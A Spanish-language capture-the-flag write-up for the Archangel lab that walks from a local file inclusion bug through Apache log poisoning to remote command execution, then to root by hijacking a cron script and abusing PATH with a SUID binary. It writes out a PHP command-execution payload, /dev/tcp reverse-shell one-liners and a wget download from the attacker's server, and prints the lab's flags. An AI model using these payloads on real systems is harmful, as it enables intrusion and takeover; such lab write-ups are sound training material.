Vamos con el CTF Archangel, donde al parecer vamos a explotar una vulnerabilidad LFI (Local File Insertion).

Nos pide que enumeremos la máquina y encontremos un hostname diferente.

De momento están abiertos los puertos 80 (http) y 22 (ssh), tras hacer un escaneo con Rustscan.

rustscan -a IP_Objetivo -- -A

En el sitio web encontramos una plantilla cualquiera y el código fuente tampoco revela mucho, vamos a ver qué podemos hacer con Gobuster.

gobuster dir -u IP_Objetivo -w /usr/share/wordlists/dirb/common.txt

Encontramos un directorio flags, que contiene un archivo flags.html que nos trolea llevándonos a la canción Never gonna give you up de Rick Astley.

Hay otros directorios (pages, layout e images) que tampoco llevan a nada.

Ya que nos pide un hostname diferente, en la portada pone mafialive, así que, si ponemos mafialive.thm, efectivamente nos lo acepta como respuesta correcta.

mafialive.thm

También está referenciado en la dirección de email que hay en la parte superior.

Ahora nos pide la bandera. Para acceder a mafialive.thm, tenemos que modificar nuestro archivo /etc/hosts

sudo vim /etc/hosts

Y allí añadir una línea que contenga la IP Objetivo al principio, depués pulsamos una vez el tabulador y a continuación escribimos mafialive.thm. Al guardar, si visitamos mafialive.thm, nos sale una página con la bandera.

thm{f0und_th3_r1ght_h0st_n4m3}

Ahora, hay que buscar una página que esté bajo desarrollo. La pista nos dice que hay que hacer fuzzing, así que ejecutamos Gobuster:

gobuster dir -u mafialive.thm -w /usr/share/wordlists/dirb/common.txt

Lo más interesante es que hay un robots.txt y leyéndolo nos dice la página que buscamos.

test.php

Nos pide la segunda bandera. En la página hay un botón y, si lo pulsamos, aparece escrito un mensaje de que el control es una ilusión.

Lo más interesante es que, observando el código fuente de la página, el botón ejecuta:

/test.php?view=/var/www/html/development_testing/mrrobot.php

Así que podemos hacer LFI (Local File Inclusion). Probemos cosas.

Al tratar de visualizar /etc/passwd nos dice que no está permitido. Así que tan, tan fácil, no va a ser como vambiar simplemente lo que hay tras el view de la dirección web.

Hay un filtro en cómo maneja las peticiones el archivo test.php.

Tenemos que ver de alguna manera el código fuente de test.php y la única técnica que nos funciona (tras probar la extensión .phps y .php.bak o .php~ por si había copias de seguridad por ahí perdidas) es sacarlo codificado en base64 y decodificar.

Para ello, necesitamos añadir tras el view= lo que queremos ver, pero usando el filtro php que codifica en Base64.

php://filter/convert.base64-encode/resource=/var/www/html/development_testing/mrrobot.php

Eso trae todo el código fuente de mrrobot.php, que es una simple instrucción echo que escribe que el control es una ilusión.

Probamos con test.php para extraer también el código fuente y ver qué filtros nos está poniendo.

mafialive.thm/test.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/test.php

El código decodificado es este:

<!DOCTYPE HTML>
<html>

<head>
    <title>INCLUDE</title>
    <h1>Test Page. Not to be Deployed</h1>
 
    </button></a> <a href="/test.php?view=/var/www/html/development_testing/mrrobot.php"><button id="secret">Here is a button</button></a><br>
        <?php

	    //FLAG: thm{explo1t1ng_lf1}

            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
	    if(isset($_GET["view"])){
	    if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {
            	include $_GET['view'];
            }else{

		echo 'Sorry, Thats not allowed';
            }
	}
        ?>
    </div>
</body>

</html>

Lo cual nos da la siguiente bandera que nos piden.

thm{explo1t1ng_lf1}

Ahora debemos subir una shell como siguiente tarea y la pista nos dice poison.

La clave del código está en la línea que pone:

if(!containsStr($_GET['view'], '../..') && containsStr($_GET['view'], '/var/www/html/development_testing')) {

Eso quiere decir que, si lo que pedimos no contiene “../..” y sí contiene “var/www/html/development_testing”, nos muestra lo que le pedimos. Si alguna de esas dos condiciones no se cumple, nos muestra que no está permitido.

Podemos saltarnos la condición de ../.. con .././.. y a partir de ahí, conseguir ver cualquier archivo.

Y sí, no niego he tenido que mirar en Internet la manera de saltarme la restricción de ../..

Con eso, podemos ver, por ejemplo, /etc/passwd, haciendo:

test.php?view=/var/www/html/development_testing/.././.././.././../etc/passwd

Vamos con el envenenamiento de registros de Apache.

Pasando de LFI a RCE con envenenamiento de registros de Apache (poison logs)

La pista poison hace referencia a obtener una shell inversa mediante un envenenamiento de los registros (logs) de Apache.

Tenemos Apache en un sistema Ubuntu (según Rustscan), con lo que los logs tienen que estar situados en: /var/log/apache2/access.log

Usando una petición LFI como la que hemos visto para /etc/passwd, efectivamente podemos echar un vistazo a los registros. Siendo así, es hora de usar Burp para interceptar la petición del botón al servidor.

Para hacer el envenenamiento en este caso:

Modificaremos la petición con Burp.

En la parte del user-agent de la misma que está entre paréntesis, la sustituimos (incluyendo los paréntesis) por un código php que envíe una petición al sistema con un parámetro GET.

<?php system($_GET['cmd']); ?>

Del mismo modo, al final de la instrucción LFI añadimos un &cmd=comando

Para que funcione y no nos juegue malas pasadas en la petición con temas de espacios y caracteres, ponemos el cmd en la barra del navegador.

Así que lanzamos Burp, ponemos el modo de Intercepción en ON si no lo está ya, y activamos Burp en Foxy Proxy. Ahora, lanzamos la petición del archivo de registro de Apache como hemos visto antes e interceptamos.

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=ls -l

Apache log poisoning con Burp

Cambiamos lo que hemos dicho en el user-agent.

Apache log poisoning con Burp

Dejamos pasar la petición modificada al servidor y, si obervamos el código fuente, hacia el final, efectivamente ha ejecutado el comando id que le hemos pasado en este caso.

Apache log poisoning con Burp

De esta manera, a través del envenamiento de los registros de Apache, pasamos de un LFI (Local File Insertion) a un RCE (Remote Command Execution).

¿Y qué comando queremos pasarle? Uno que nos permita obtener una shell inversa.

Por ejemplo, este:

0<&196;exec 196<>/dev/tcp/10.0.0.1/4242; sh <&196 >&196 2>&196

Ajustando la IP y el puerto al escuchador de Netcat que pongamos, por ejemplo, activamos Netcat para escuchar en nuestra máquina de ataque y el puerto 4000:

nc -lvnp 4000

En la barra de direcciones del navegador, ponemos esa línea para generar la shell tras el cmd=

En Burp, atrapamos la petición y cambiamos la parte que hemos dicho del user-agent por el comando de php.

Sin embargo, por alguna razón, ni esa forma de generar una shell inversa, ni otras a través de una línea de bash funcionan… Ni siquiera codificando URL (seleccionando el comando, eligiendo Convert selection > URL > La última opción unicode).

No desesperemos, el método alternativo es subir una shell.

Para eso, buscamos en Google la shell inversa en php de pentestmonkey si no la tenemos.

Copiamos el código de esa shell en un editor de texto y lo guardamos como shell.php o bien descargamos directamente la shell de Github.

La configuramos con nuestra IP y el puerto en el que ponemos el escuchador de Netcat (en mi caso, ya lo tengo escuchando en el 4000), la guardamos en un directorio con el nombre shell.php y generamos un servidor web en dicho directorio, usando otra terminal de nuestra máquina de ataque y escribiendo:

python3 -m http.server 8000

Ahora, el comando que pasamos tras cmd= en la barra del navegador es

wget IP_Ataque:8000/shell.php

De manera que quedaría:

http://mafialive.thm/test.php?view=/var/www/html/development_testing/.././.././.././.././../var/log/apache2/access.log&cmd=wget IP_Ataque:8000/shell.php

Atrapamos la petición con Burp y sustituimos la parte del user-agent como hemos visto más arriba.

Y ahora sí que sube. Podemos pasar un cmd=ls para ver que hay un shell.php en el directorio.

Ahora, visitamos la shell en mafialive.thm/shell.php y tenemos consola.

Vaya tela, y esto era nivel principiante, ok.

Buscamos la bandera con:

find / -type f -iname "user.txt"

Está en /home/archangel/user.txt y lo leemos.

Ahora vamos a escalar privilegios, nos pide bandera de administrador y de usuario 2, a ver a quién se refiere mirando el /etc/passwd

No hay más usuarios, así que se debe referir a archangel, dentro de su directorio hay una carpeta secret a la que no puedo acceder y otra myfiles que sí, pero me lleva a un archivo con un enlace a la cancioncita de Rick Astley.

La pista para escalar a root dice que algunas rutas son peligrosas, así que habrá que explotar PATH.

Ejecutamos:

cat /etc/crontab

Para ver tareas programadas, y vemos que el usuario archangel tiene una que es /opt/helloworld.sh

Veamos si podemos ver ese script.

Simplemente escribe “hello world” y lo pone al final de un archivo /opt/backupfiles/helloworld.txt

Todo el mundo puede escribir ese archivo, cosa que comprobamos cuando hacemos.

ls -hl /opt/helloworld.sh

De modo que lo que queremos es borrar lo que hay ahí y cambiarlo por una instrucción que nos dé una nueva shell inversa que será del usuario archangel y, a partir de él, probablemente podremos escalar a administrador. Veremos.

Probamos a añadir esta línea al final del archivo para que nos dé una shell inversa.

bash -i >& /dev/tcp/IP_Ataque/4001 0>&1

Por ejemplo, podemos hacerlo con:

echo "bash -i >& /dev/tcp/IP_Ataque/4001 0>&1" >> /opt/helloworld.sh

Configurando un nuevo Netcat para que escuche en el puerto 4001 con:

nc -lvnp 4001

Y esperamos hasta tener una shell con el usuario archangel. Entramos en /home/archangel/secret y ahí hay un archivo user2.txt que leemos para obtener la siguiente bandera.

thm{h0r1zont4l_pr1v1l3g3_2sc4ll4t10n_us1ng_cr0n}

Si hacemos sudo -l no nos lleva a ningún sitio, pero si buscamos archivos con el bit SUID…

find / -type f -perm -u=s 2>/dev/null

Encontramos uno interesante en /home/archangel/secret/backup

Examinamos en archivo y es un binario, una opción es traerlo a nuestra máquina y examinarlo más a fondo con herramientas como ghidra, pero no hace falta siquiera para dar con la clave.

Si hacemos:

strings backup

En una de esas cadenas vemos que ejecuta esta instrucción

cp /home/user/archangel/myfiles/* /opt/backupfiles

La escalada de privilegios abusando de PATH, que era la pista que nos daban, se refiere a que está llamando a un binario sin usar su ruta completa /usr/bin/cp.

Recordemos que la explotación de la variable $PATH para escalar privilegios consiste en lo siguiente:

  • Hay un binario que no usa la ruta completa cuando se le llama en un programa, como en este caso ocurre con cp.
  • Podemos crear un binario falso que se llame cp y que contenga una instrucción para darnos una shell, en este caso no haría ni falta que fuera inversa, nos valdría con que el cp falso ejecute /bin/bash, que se ejecutaría como administrador (recordemos que el programa que invoca la instrucción cp tiene un bit SUID y, por tanto, se ejecuta como root.
  • Tras haber hecho eso, modificamos la variable $PATH y añadimos como parte de las rutas de ejecución la ruta en la que hayamos guardado nuestro binario falso cp.
  • Como PATH va ejecutando en orden la búsqueda en directorios, primero irá al nuevo que le hemos metido (ya que lo colocaremos el primero) y encontrará que allí hay un binario cp, de modo de lo ejecutará.

Vamos a ello:

cd /home/archangel # Nos vamos al directorio home de archangel
touch cp # Creamos archivo cp falso
echo "/bin/bash" > cp # Hacemos que el archivo cp ejecute una shell y ya está.
chmod +x ./cp # Le doy permisos de ejecución a cp
export PATH=/home/archangel:$PATH # Añadimos /home/archangel a la variable $PATH en primer lugar, de manera que irá a buscar ahí si hay un archivo cp
cd secret # Entramos en el directorio del programa backup
./backup # Lo ejecutamos y nos aparece una shell
whoami # Comprobamos que somos root

Nos queda leer su bandera en /root/root.txt

thm{p4th_v4r1abl3_expl01tat1ion_f0r_v3rt1c4l_pr1v1l3g3_3sc4ll4t10n}